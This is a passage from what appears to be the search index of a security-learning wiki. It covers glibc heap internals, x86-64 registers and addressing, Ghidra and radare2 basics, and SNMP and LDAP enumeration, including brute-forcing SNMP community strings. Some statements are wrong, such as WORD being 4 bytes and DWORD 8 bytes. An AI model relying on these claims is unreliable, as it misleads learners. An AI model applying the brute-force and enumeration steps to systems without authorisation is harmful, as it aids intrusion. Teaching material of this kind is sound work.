has been passed to free. -> Can lead to use after free vulnerabilities. Do not use or leak uninitialised information in a heap allocation. -> Can lead to information leaks or uninitialised data vulnerabilities. Do not read or write bytes after the end of an allocation. -> Can lead to heap overflow and read beyond bounds vulnerabilities. Do not pass a pointer that originated from malloc to free more than once. -> Can lead to double delete vulnerabilities. Do not write bytes before the beginning of the allocation. -> Can lead to heap underflow vulnerabilities. Do not pass a pointer that did not originate from malloc to free. -> Can lead to invalid free vulnerabilities. Do not use a pointer returned by malloc before checking if the function returned NULL. -> Can lead to null-dereference bugs and sometimes arbitrary write vulnerabilities. The implementation of the heap is platform specific.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Heap Rules","id":"281","title":"Heap Rules"},"282":{"body":"The heap grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The GLIBC Heap","id":"282","title":"The GLIBC Heap"},"283":{"body":"The heap manager allocates resources in the so-called chunks . These chunks are stored adjacent to each other and must be 8-byte aligned or 16-byte aligned on 32-bit and 64-bit systems respectively. In addition to this padding, each chunks contains metadata which provides information about the chunk itself. Consequently, issuing a request for memory allocation on the heap actually allocates more bytes than originally requested. It is important to distinguish between in-use chunks and free (or previously allocated) chunks, since they have disparate memory layouts. The following diagram outlines a chunk that is in use: The size field contains the chunk size in bytes. The following three bits carry specific meaning: A (0x04) - Allocated arena. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap'd memory and the location of the heap can be computed from the chunk's address. M (0x02) - If this bit is set, then the chunk was mmap-ed and isn't part of a heap. Typically used for large allocations. P (0x01) - If this bit is set, then the previous chunk should not be considered for coalescing and the mchunkptr points to a previous chunk still in use A free chunk looks a bit different: The size and AMP fields carry on the same meaning as those in chunks that are in use. Free chunks are organised in linked or doubly linked lists called bins . The fwd and bck pointers are utilised in the implementation of those linked lists. Different types of bins exist for different purposes. The top of the heap is by convention called the top chunk .","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Chunks","id":"283","title":"Chunks"},"284":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Memory Allocation on the Heap","id":"284","title":"Memory Allocation on the Heap"},"285":{"body":"When an application requests heap memory, the heap manager traverses the bins in search of a free chunk that is large enough to service the request. If such a chunk is found, it is removed from the bin, turned into an in-use chunk and then a pointer is returned to the user data section of the chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from Free Chunks","id":"285","title":"Allocating from Free Chunks"},"286":{"body":"If no free chunk is found that can service the request, the heap manager must construct an entirely new chunk at the top of heap. To achieve this, it first needs to ascertain whether there is enough space at the top of the heap to hold the new chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from the Top Chunk","id":"286","title":"Allocating from the Top Chunk"},"287":{"body":"Once the free space at the top of the heap is used up, the heap manager will have to ask the kernel for additional memory. On the initial heap, the heap manager asks the kernel to allocate more memory at the end of the heap by calling sbrk.On most Linux-based systems this function internally uses a system call called brk. Eventuall, the heap will grow to its maximum size, since expanding it any further would cause it to intrude on other sections of the process' address space. In this case, the heap manager will resort to using mmap to map new memory for heap expansions. If mmap also fails, then the process is unable to allocate more memory and malloc returns NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Requesting Additional Memory at the Top of the Heap from the Kernel","id":"287","title":"Requesting Additional Memory at the Top of the Heap from the Kernel"},"288":{"body":"Large chunks get treated differently in their allocation. These are allocated off-heap through the direct use of mmap calls and this is reflected in the chunk's metadata by setting the M bit to 1. When such allocations are later returned to the heap manager via a call to free, the heap manager releases the entire mmap-ed region back to the system via munmap. Different platforms have different default thresholds for what counts as a large chunk and what doesn't.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating Large Chunks","id":"288","title":"Allocating Large Chunks"},"289":{"body":"Multithreaded applications require that internal data structures on the heap are protected from race conditions. In the past, the heap manager availed itself of a global mutex before every heap operation, however, significant performance issues arose as a result. Consequently, the concept of \"arenas\" was introduced. Each arena consists of a separate heap which manages its own chunk allocation and bins. Although each arena still utilises a mutex for its internal operations, different threads can make use of different arenas to avoid having to wait for each other. The initial (main) arena consists of a single heap and for single-threaded applications it is all there ever will exist. However, as more threads are spawned, new arenas are allocated and attached to them. Once all available arenas are being utilised by threads, the heap manager will commence creating new ones until a limit - 2 * Number of CPU cores for 32-bit and 8 * Number of CPU cores for 64-bit processes - is reached. Afterwards, multiple threads will be forced to share the same arena.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Arenas","id":"289","title":"Arenas"},"29":{"body":"You will need working knowledge of SNMP in order to follow through.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Introduction","id":"29","title":"Introduction"},"290":{"body":"Free chunks are organised in the so-called bins which are essentially linked lists. For performance reasons different types of bins exist. There are 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. The last two appeared later and are built on top of the first three. Pointers to the small, large, and unsorted bins are stored in the same array in the heap manager: BIN[0] -> invalid (unused)\nBIN[1] -> unsorted bin\nBIN[2] to BIN[63] -> small bins\nBIN[64] to BIN[126] -> large bins","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Bins","id":"290","title":"Bins"},"291":{"body":"There are 62 small bins and each of them stores chunks of a fixed size. Each chunk with a size less than 512 bytes on 32-bit systems and 1024 bytes on 64-bit systems has a corresponding small bin. Small bins are sorted by default due to the fixed size of their elements and Insertion and removal of entries on these bins is incredibly fast.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Small Bins","id":"291","title":"Small Bins"},"292":{"body":"There are 63 large bins and they resemble small bins in their operation but store chunks of different sizes. Consequently, insertions and removal of entries on these lists is slower, since the entire bin has to be traversed in order to find a suitable chunk. There is a different number of bins allocated for specific chunk size ranges. The size of the chunk size range begins at 64 bytes - there are 32 bins all of which shift the range of chunk sizes they store by 64 from the previous bin. Following are 16 bins which shift the range by 512 bytes and so on. In essence: Bin 1 -> stores chunks of sizes 512 - 568 bytes; Bin 2 -> stores chunks of sizes 576 - 632 bytes; ... There are: Number of Bins Spacing between Bins 32 64 16 512 8 4096 4 32768 2 262144 1 Remaining chunk sizes","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Large Bins","id":"292","title":"Large Bins"},"293":{"body":"There is a single unsorted bin. Chunks from small and large bins end up directly in this bin after they are freed. The point of the unsorted bin is to speed up allocations by serving a sort of cache. When malloc is invoked, it will first traverse this bin and see if it can immediately service the request. If not, it will move onto the small or large bins respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Unsorted Bins","id":"293","title":"Unsorted Bins"},"294":{"body":"Fast bins provide a further optimisation layer. Recently released small chunks are put in fast bins and are not initially merged with their neighbours. This allows for them to be repurposed forthwith, should a malloc request for that chunk size come very soon after the chunk's release. There are 10 fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata. Fast bins are implemented as singly linked lists and insertions and removals of entries in them are really fast. Periodically, the heap manager consolidates the heap - chunks in the fast bins are merged with the abutting chunks and inserted into the unsorted bin. This consolidation occurs when a malloc request is issued for a size that is larger than a fast bin can serve (chunks over 512 bytes on 32-bit systems and over 1024 bytes on 64-bit systems), when freeing a chunk larger than 64KB or when malloc_trim or mallopt is invoked.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Fast Bins","id":"294","title":"Fast Bins"},"295":{"body":"A new caching mechanism called tcache (thread local caching) was introduced in glibc version 2.26 back in 2017. The tcache stores bins of fixed size small chunks as singly linked lists. Similarly to a fast bin, chunks in tcache bins aren't merged with adjoining chunks. By default, there are 64 tcache bins, each containing a maximum of 7 same-sized chunks. The possible chunk sizes range from 12 to 516 bytes on 32-bit systems and from 24 to 1032 bytes on 64-bit systems. When a chunk is freed, the heap manager checks if the chunk fits into a tcache bin corresponding to that chunk size. If the tcache bin for this size is full or the chunk is simply too big to fit into a tcache bin, the heap manager obtains a lock on the arena and proceeds to comb through other bins in order to find a suitable one for the chunk. When malloc needs to service a request, it first checks the tcache for a chunk of the requested size that is available and should such a chunk be found, malloc will return it without ever having to obtain a lock. If the chunk too big, malloc continues as before. A slightly different strategy is employed if the requested chunk size does have a corresponding tcache bin, but that bin is simply full. In that case, malloc obtains a lock and promotes as many heap chunks of the requested size to tcache chunks, up to the tcache bin limit of 7. Subsequently, the last matching chunk is returned.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป TCache Bins","id":"295","title":"TCache Bins"},"296":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป malloc and free","id":"296","title":"malloc and free"},"297":{"body":"First, every allocation exists as a memory chunk which is aligned and contains metadata as well as the region the programmer wants. When a programmer requests memory from the heap, the heap manager first works out what chunk size the allocation request corresponds to, and then searches for the memory in the following order: If the size corresponds with a tcache bin and there is a tcache chunk available, return that immediately. If the request is huge, allocate a chunk off-heap via mmap. Otherwise obtain the arena heap lock and then perform the following steps, in order: Try the fastbin/smallbin recycling strategy If a corresponding fast bin exists, try and find a chunk from there (and also opportunistically prefill the tcache with entries from the fast bin). Otherwise, if a corresponding small bin exists, allocate from there (opportunistically prefilling the tcache as we go). Resolve all the deferred frees - Otherwise merge the entries in the fast bins and move their consolidated chunks to the unsorted bin. - Go through each entry in the unsorted bin. If it is suitable, return it. Otherwise, put the unsorted entry on its corresponding small/large bin as we go (possibly promoting small entries to the tcache). Default back to the basic recycling strategy If the chunk size corresponds with a large bin, search the corresponding large bin now. Create a new chunk from scratch Otherwise, there are no chunks available, so try and get a chunk from the top of the heap. If the top of the heap is not big enough, extend it using sbrk. If the top of the heap canโ€™t be extended because we ran into something else in the address space, create a discontinuous extension using mmap and allocate from there If all else fails, return NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocation","id":"297","title":"Allocation"},"298":{"body":"If the pointer is NULL, do nothing. Otherwise, convert the pointer back to a chunk by subtracting the size of the chunk metadata. Perform a few sanity checks on the chunk, and abort if the sanity checks fail. If the chunk fits into a tcache bin, store it there. If the chunk has the M bit set, give it back to the operating system via munmap. Otherwise we obtain the arena heap lock and then: If the chunk fits into a fastbin, put it on the corresponding fastbin. If the chunk size is greater than 64KB, consolidate the fastbins immediately and put the resulting merged chunks on the unsorted bin. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins. If the resulting chunk lies at the top of the heap, merge it into the top chunk. Otherwise store it in the unsorted bin.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Deallocation","id":"298","title":"Deallocation"},"299":{"body":"Registers are value containers which reside on the CPU and not in RAM. They are small in size and some have special purposes. You may store both addresses and values in registers and depending on the instruction used the data inside will be interpreted in a different way - this is commonly called an addressing mode . In x86 Intel assembly (i386), the registers are 32 bits (4 bytes) in size and some of them are reserved: ebp - the base pointer, points to the bottom of the current stack frame esp - the stack pointer, points to the top of the current stack frame eip - the instruction pointer, points to the next instruction to be executed The other registers are general purpose registers and can be used for anything you like: eax, ebx, ecx, edx, esi, edi. x64 AMD assembly (amd64) extends these 32-bit registers to 64-bit ones and denotes these new versions by replacing the initial e with an r: rbp, rsp, rip, rax, ... It is important to note that these are not different registers - eax and rax refer to the same space on the CPU, however, eax only provides access to the lower 32 bits of the 64-bit register. You can also get access to the lower 16 and 8 bits of the register using different names: 8 Byte Register Lower 4 Bytes Lower 2 Bytes Lower Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, you cannot access the lower 16 or 8 bits of the instruction pointer. You might sometimes see WORD or DWORD being used in a similar context - WORD means 4 bytes and DWORD means 8 bytes.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Registers","id":"299","title":"Registers"},"3":{"body":"Any major changes outside of the eight category folders in the Notes/ directory are not permitted and will be rejected.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป Out-of-Scope","id":"3","title":"Out-of-Scope"},"30":{"body":"snmp-check is a simple utility for basic SNMP enumeration. You only need to provide it with the IP address to enumerate: snmp-check [IP] Furthermore, you have the following command-line options: -p: Change the port to enumerate. Default is 161. -c: Change the community string to use. Default is public -v: Change the SNMP version to use. Default is v1. There are additional arguments that can be provided but these are the salient ones.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmp-check","id":"30","title":"SNMP Enumeration using snmp-check"},"300":{"body":"Under x64 Linux, function arguments are passed via registers: rdi: First Argument\nrsi: Second Argument\nrdx: Third Argument\nrcx: Fourth Argument\nr8: Fifth Argument\nr9: Sixth Argument The return value is store in rax (eax on 32-bit machines).","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Use in x64 Linux","id":"300","title":"Register Use in x64 Linux"},"301":{"body":"Register dereferencing occurs when the value of the register is treated as an address to the actual data to be used, rather than the data itself. This means that addressed can be stored in registers and used later - this is useful when dealing with large data sizes. For example, mov rax, [rdx] Will check the value inside rdx and treat it as an address - it will go to the location where this address points and get its data from there. It will then move this data into rax. If we hadn't used [], it would have treated the address in rdx simply as a value and moved it directly into rax.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Dereferencing","id":"301","title":"Register Dereferencing"},"302":{"body":"Ghidra is an open-source framework for reverse engineering developed by the NSA. It groups binaries into projects which can be shared amonst multiple people.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Introduction","id":"302","title":"Introduction"},"303":{"body":"To install Ghidra, you can run sudo apt install ghidra.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Installation","id":"303","title":"Installation"},"304":{"body":"File -> New Project Non-Shared Project Select Directory Name the Project","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Creating a Project","id":"304","title":"Creating a Project"},"305":{"body":"File -> Import File Select the binary you want to import Ghidra will automatically detect certain information about the file After importing, Ghidra will display an Import Results Summary containing information about the binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Loading a Binary","id":"305","title":"Loading a Binary"},"306":{"body":"Double-clicking on a program will open it in the Code Browser. A prompt will appear for analysing the binary. Ghidra will attempt to create and label functions, as well as identify any cross-references in memory. Once the binary has been analysed you will be presented with the following screen:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Initial Analysis ยป Initial Analysis","id":"306","title":"Initial Analysis"},"307":{"body":"radare2 is an open-source framework for reverse engineering. The framework includes multiple tools which all work in tandem in order to aid in the analysis of binary files. It uses short abbreviations for its commands - single letters - and many of its commands have subcommands which are also expressed as single letters. Luckily, you can always append a ? to a specific command in order to view its subcommands and what they do. To quit radare2, use the q command.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Introduction","id":"307","title":"Introduction"},"308":{"body":"You can load a binary by invoking the r2 command. You might sometimes need to also add the -e io.cache=true option in order to fix relocations in disassembly.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Loading a Binary","id":"308","title":"Loading a Binary"},"309":{"body":"aaa - analyse the binary afl - list the analysed functions axt - list all the places where a function is called. Note, you need to use the flag name that redare automatically creates for funtions after aaa.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Analysis ยป Analysis","id":"309","title":"Analysis"},"31":{"body":"snmpwalk is a much more versatile tool for SNMP enumeration. It's syntax is mostly the same as snmp-check:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmpwalk","id":"31","title":"SNMP Enumeration using snmpwalk"},"310":{"body":"/ - search the bytes of the binary for a specific string /w - search for wide character strings like Unicode symbols","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Strings ยป Strings","id":"310","title":"Strings"},"311":{"body":"i - display file information ie - find the program's entry point iM - find the program's main function iz - pull the hard-coded strings from the executable (only the data sections), use izz to get the strings from the entire binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Binary Info ยป Binary Info","id":"311","title":"Binary Info"},"312":{"body":"Flags resemble bookmarks. They associate a name with a given offset in a file. Create a new flag f @ offset You can also remove a flag by appending - to the command: f- List available flags - f: Rename a flag fr ","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flags","id":"312","title":"Flags"},"313":{"body":"Flag names should be unique for addressing reasons. However, it is often the case that you need to have simple and ubiquitous names like loop or return. For this purpose exist the so-called \"local\" flags, which are tied to the function where they reside. It is possible to add them using f. command:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Local Flags","id":"313","title":"Local Flags"},"314":{"body":"Flags can be grouped into flag spaces - is a namespace for flags, grouping together similar flags. Some flag spaces include sections, registers, symbols. These are managed with the fs command. [0x00001080]> fs?\nUsage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n| fs display flagspaces\n| fs* display flagspaces as r2 commands\n| fsj display flagspaces in JSON\n| fs * select all flagspaces\n| fs flagspace select flagspace or create if it doesn't exist\n| fs-flagspace remove flagspace\n| fs-* remove all flagspaces\n| fs+foo push previous flagspace and set\n| fs- pop to the previous flagspace\n| fs-. remove the current flagspace\n| fsq list flagspaces in quiet mode\n| fsm [addr] move flags at given address to the current flagspace\n| fss display flagspaces stack\n| fss* display flagspaces stack in r2 commands\n| fssj display flagspaces stack in JSON\n| fsr newname rename selected flagspace","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flag Spaces","id":"314","title":"Flag Spaces"},"315":{"body":"Moving around the file requires the usage of the seek (s) command in order to change the offset at which we are. It takes one argument which is a mathematical expression capable of containing flag names, parenthesis, addition, substraction, multiplication of immediates of contents of memory using brackets. Examples: [0x00000000]> s 0x10\n[0x00000010]> s+4\n[0x00000014]> s-\n[0x00000010]> s+\n[0x00000014]> Here is a list of additional seeking commands: [0x00000000]> s?\nUsage: s # Help for the seek commands. See ?$? to see all variables\n| s Print current address\n| s.hexoff Seek honoring a base from core->offset\n| s:pad Print current address with N padded zeros (defaults to 8)\n| s addr Seek to address\n| s- Undo seek\n| s-* Reset undo seek history\n| s- n Seek n bytes backward\n| s--[n] Seek blocksize bytes backward (/=n)\n| s+ Redo seek\n| s+ n Seek n bytes forward\n| s++[n] Seek blocksize bytes forward (/=n)\n| s[j*=!] List undo seek history (JSON, =list, *r2, !=names, s==)\n| s/ DATA Search for next occurrence of 'DATA'\n| s/x 9091 Search for next occurrence of \\x90\\x91\n| sa [[+-]a] [asz] Seek asz (or bsize) aligned to addr\n| sb Seek aligned to bb start\n| sC[?] string Seek to comment matching given string\n| sf Seek to next function (f->addr+f->size)\n| sf function Seek to address of specified function\n| sf. Seek to the beginning of current function\n| sg/sG Seek begin (sg) or end (sG) of section or file\n| sl[?] [+-]line Seek to line\n| sn/sp ([nkey]) Seek to next/prev location, as specified by scr.nkey\n| so [N] Seek to N next opcode(s)\n| sr pc Seek to register\n| ss Seek silently (without adding an entry to the seek history) > 3s++ ; 3 times block-seeking\n> s 10+0x80 ; seek at 0x80+10","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Seeking ยป Seeking","id":"315","title":"Seeking"},"316":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป Introduction","id":"316","title":"Introduction"},"317":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Introduction","id":"317","title":"Introduction"},"318":{"body":"Variables in assembly do not exists in the same sense as they do in higher-level programming languages. This is especially true of local variabls such as those inside functions. Instead of allocating space for a particular value and having that place be \"named\" according to a variable, the compiler may use a combination of stack and heap allocations as well as registers to achieve behaviour resembling a variable. That being said, there are some parallels with higher-level programming languages as well. When manually programming assembly, it should be noted that variable names are more or less identical to addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Introduction","id":"318","title":"Introduction"},"319":{"body":"Assembly constants cannot be changed during run-time execution. Their value is substituted at assembly-time (corresponding to compile-time substitution for constants in higher-level languages). Consequently, constants are not even assigned a location in memory, for they turn into hard-coded values. Defining constants in assembly is done in the following way: equ For example, EXAMPLE equ 0xdeadbeef","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Constants","id":"319","title":"Constants"},"32":{"body":"Notwithstanding its age, onesixtyone is a good tool which allows you to bruteforce community strings by specifying a file instead of a single string with its -c option. It's syntax is rather simple:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Bruteforce community strings with onesixtyone","id":"32","title":"Bruteforce community strings with onesixtyone"},"320":{"body":"Static or global variables which are initialised before the programme executes are stored in the .data section. In order to define such a variable, you must give it a name, data size and value. In contrast with constants, such data can be mutated during run-time. The following data size declarations can be used: Declaration Size (in bits) Type db 8 dw 16 dd 32 dq 64 ddq 128 Integer dt 128 Floating-Point The syntax for declaring such variables is as follows: For example: byteVar db 0x1A ; byte variable","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Initialised Data","id":"320","title":"Static Initialised Data"},"321":{"body":"Static uninitialised data is stored in the .bss section. The syntax for allocating such variables is following: Such variables are usually allocated as chunks, hence the required count. The primary data types are as follows: Declaration Size (in bits) resb 8 resw 16 resd 32 resq 64 resdq 128 Some examples: bArr resb 10 ; 10 element byte array wArr resw 50 ; 50 element word array dArr resd 100 ; 100 element double array qArr resq 200 ; 200 element quad array","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Uninitialised Data","id":"321","title":"Static Uninitialised Data"},"322":{"body":"Data representation refers to the way that values are stored in a computer. For technical reasons, computers do not use the familiar base-10 number system but rather avail themselves of the base-2 (binary) system. Under this paradigm, numbers are represented as 1's and 0's.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Introduction","id":"322","title":"Introduction"},"323":{"body":"When storing an integer value, there are two ways to represent it - signed and unsigned - depending on whether the value should be entirely non-negative or may also have a \"-\" sign. Based on the number of bits used for storing a value, the value may have a different range. Size Range Size Unsigned Range Signed Range Byte (8 bits) 28 [0..255] [โˆ’128..+127] Word (16 bits) 216 [0..65,535] [โˆ’32,768..+32,767] Doubleword (32 bits) 232 [0..4,294,967,295] [โˆ’2,147,483,648..+2,147,483,647] Quadword (64 bits) 264 [0..264โˆ’1] [โˆ’263..+263โˆ’1] Double Quadword (128 bits) 2128 [0..2128โˆ’1] [โˆ’2127..+2127โˆ’1] Unsigned integers are represented in their typical binary form.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Integer Representation","id":"323","title":"Integer Representation"},"324":{"body":"Signed integers are represented using two's complement. In order to convert a acquire the negative form of a number in two's complement, is two negate all of its bits and add 1 to the number. A corollary of this representation is that it adds no complexity to the addition and subtraction operations.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Two's Complement","id":"324","title":"Two's Complement"},"325":{"body":"Addressing modes refer to the supported methods for accessing and manipulating data. There are three basic addressing modes in x86-64: register, immediate and memory.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Introduction","id":"325","title":"Introduction"},"326":{"body":"In register mode addressing, the operand is a register ( brain undergoing nuclear-fission ). mov rax, rbx The value inside rbx is copied to rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Register Mode Addressing","id":"326","title":"Register Mode Addressing"},"327":{"body":"In immediate mode addressing, the operand is an immediate value, or a literal . These are simply constant values such as 10, 0xfa3, \"lol\", and so on. mov rax, 123 The number 123 is copied into rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Immediate Mode Addressing","id":"327","title":"Immediate Mode Addressing"},"328":{"body":"In memory mode addressing, the operand is treated as a memory location. This is referred to as indirection or dereferencing and is similar to how pointers can be dereferenced in C/C++. In assembly, this is done by wrapping the operand in square brackets: []. So for example, rax refers to the value stored within the register rax. However, [rax] means \"treat rax like a pointer and use the value it points to\". Essentially, [rax] treats the value inside the register as an address and uses that address to find the actual value it needs. mov DWORD PTR [rax], 0xdeadbeef The value 0xdeadbeef is copied into the location pointed to by rax. Since memory is byte-addressable, it is oftentimes required to specify how many bytes we want to access. This is done by prepending one of the following specifiers to the operand: Specifier Number of Bytes BYTE PTR / byte 1 WORD PTR / word 2 DWORD PTR / dword 4 QWORD PTR / qword 8 Moreover, the actual formula for memory addressing is a bit more complicated, since it was developed mainly for making the implementation of arrays easier. [baseAddr + (indexReg * scaleValue) + offset] The baseAddr must be a register or variable name, although it may be omitted in which case the address is relative to the beginning of the data segment. indexReg is a register which specifies contains an index into the array and the scaleValue is the size (in bytes) of a single member of the array. The offset must be an immediate value. mov eax, dword [ebx] ; move into eax the value which ebx points to\nmov rax, QWORD PTR [rbx + rsi] ; move into rax the value which (rbx + rsi) points to\nmov rcx, qword [rax+(rsi*8)] ; move into rcx the value which (rax + (rsi*8)) points to","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Memory Mode Addressing","id":"328","title":"Memory Mode Addressing"},"329":{"body":"Memory is nothing more than a series of bytes which can be individually addressed. When storing values which are larger than a single byte, the bytes under the x86-64 paradigms are stored in little-endian order - the least significant byte (LSB) at the lowest memory address and the most significant byte (MSB) at the highest memory address. For example, the variable var = 0xDEADBEEF would be represented in memory as follows: Note how the right-most byte is at a lower address and the addresses for the rest of the bytes increase as we go right-to-left.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Endianness","id":"329","title":"Endianness"},"33":{"body":"The Leightweight Directory Access Protocol (LDAP) is a protocol which facilitates the access and locating of resources within networks set up with directory services. It stores valuable data such as user information about the organisation in question and has functionality for user authentication and authorisation. What makes LDAP especially easy to enumerate is the possible support of null credentials and the fact that even the most basic domain user credentials will suffice to enumerate a substantial portion of the domain. LDAP runs on the default ports 389 and 636 (for LDAPS), while Global Catalog ( Active Directory 's instance of LDAP) is available on ports 3268 and 3269. Tools which can be used to enumerate LDAP include ldapsearch and windapsearch .","breadcrumbs":"Reconnaissance ยป Enumeration ยป LDAP Enumeration (389, 636, 3268, 3269) ยป Introduction","id":"33","title":"Introduction"},"330":{"body":"Below is the general memory layout of a programme: The reserved section is unavailable to user programmes. The .text sections stores the instructions which comprise the programme's code. Static variables which were declared and given a value at assemble-time are stored in the .data section. The .bss section stores static uninitialised data, i.e variables which were declared but were not provided with an initial value. If such variables are used before they are initialised, their value will be meaningless. The Stack and the Heap are where data can be allocated at run-time. The Stack is used for allocating space for small amounts of data with a size known at compile-time and grows from higher to lower addresses. Conversely, the Heap allows for the dynamic allocation of space for data of size known at run-time and grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Memory Layout","id":"330","title":"Memory Layout"},"331":{"body":"Registers are value containers which reside on the CPU (separately from RAM). They are small in size and some have special purposes. x86-64 assembly operates with 16 general-purpose registers (GPRs). It should be noted that the 8-byte (r) variants do not exist in 32-bit mode. 64-bit Register Lower 4 Bytes Lower 2 Bytes Lower 1 Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, the lower 16 bits of the rip register (instruction pointer) are inaccessible on their own. For example, the rax register could be set to the following: rax = 0x0000 000AB 10CA 07F0 The name eax would then only refer to the part of the rax register which contains 10CA 07F0. Similarly, ax would represent 07F0, and al would be just F0. Additionally, the upper byte of ax, bx, cx and dx may be separately accessed by means of the ah, bh, ch and dh monikers, which exist for legacy reasons.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Introduction","id":"331","title":"Introduction"},"332":{"body":"Not all registers available in the x86-64 paradigm are created equal. Certain registers are reserved for specific purposes, despite being called general-purpose.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Register Specialisation","id":"332","title":"Register Specialisation"},"333":{"body":"The stack pointer rsp (esp for 32-bit machines) is used to point to the current top of the stack and should not be used for any other purpose other than in instructions which involve stack manipulation.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Stack Pointer rsp","id":"333","title":"The Stack Pointer rsp"},"334":{"body":"The base pointer rbp (ebp for 32-bit machines) is the twin brother of the stack pointer and is used as a base pointer when calling functions. It points to the beginning of the current function's stack frame. Interestingly enough, its use is actually gratuitous because compilers can manage the stack frames of functions equally well without a separate base pointer. It is mostly used to make assembly code more comprehensible for humans.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Base Pointer rbp","id":"334","title":"The Base Pointer rbp"},"335":{"body":"The instruction pointer rip (eip for 32-bit machines) points to the next instruction to be executed. It is paramount not to get confused when 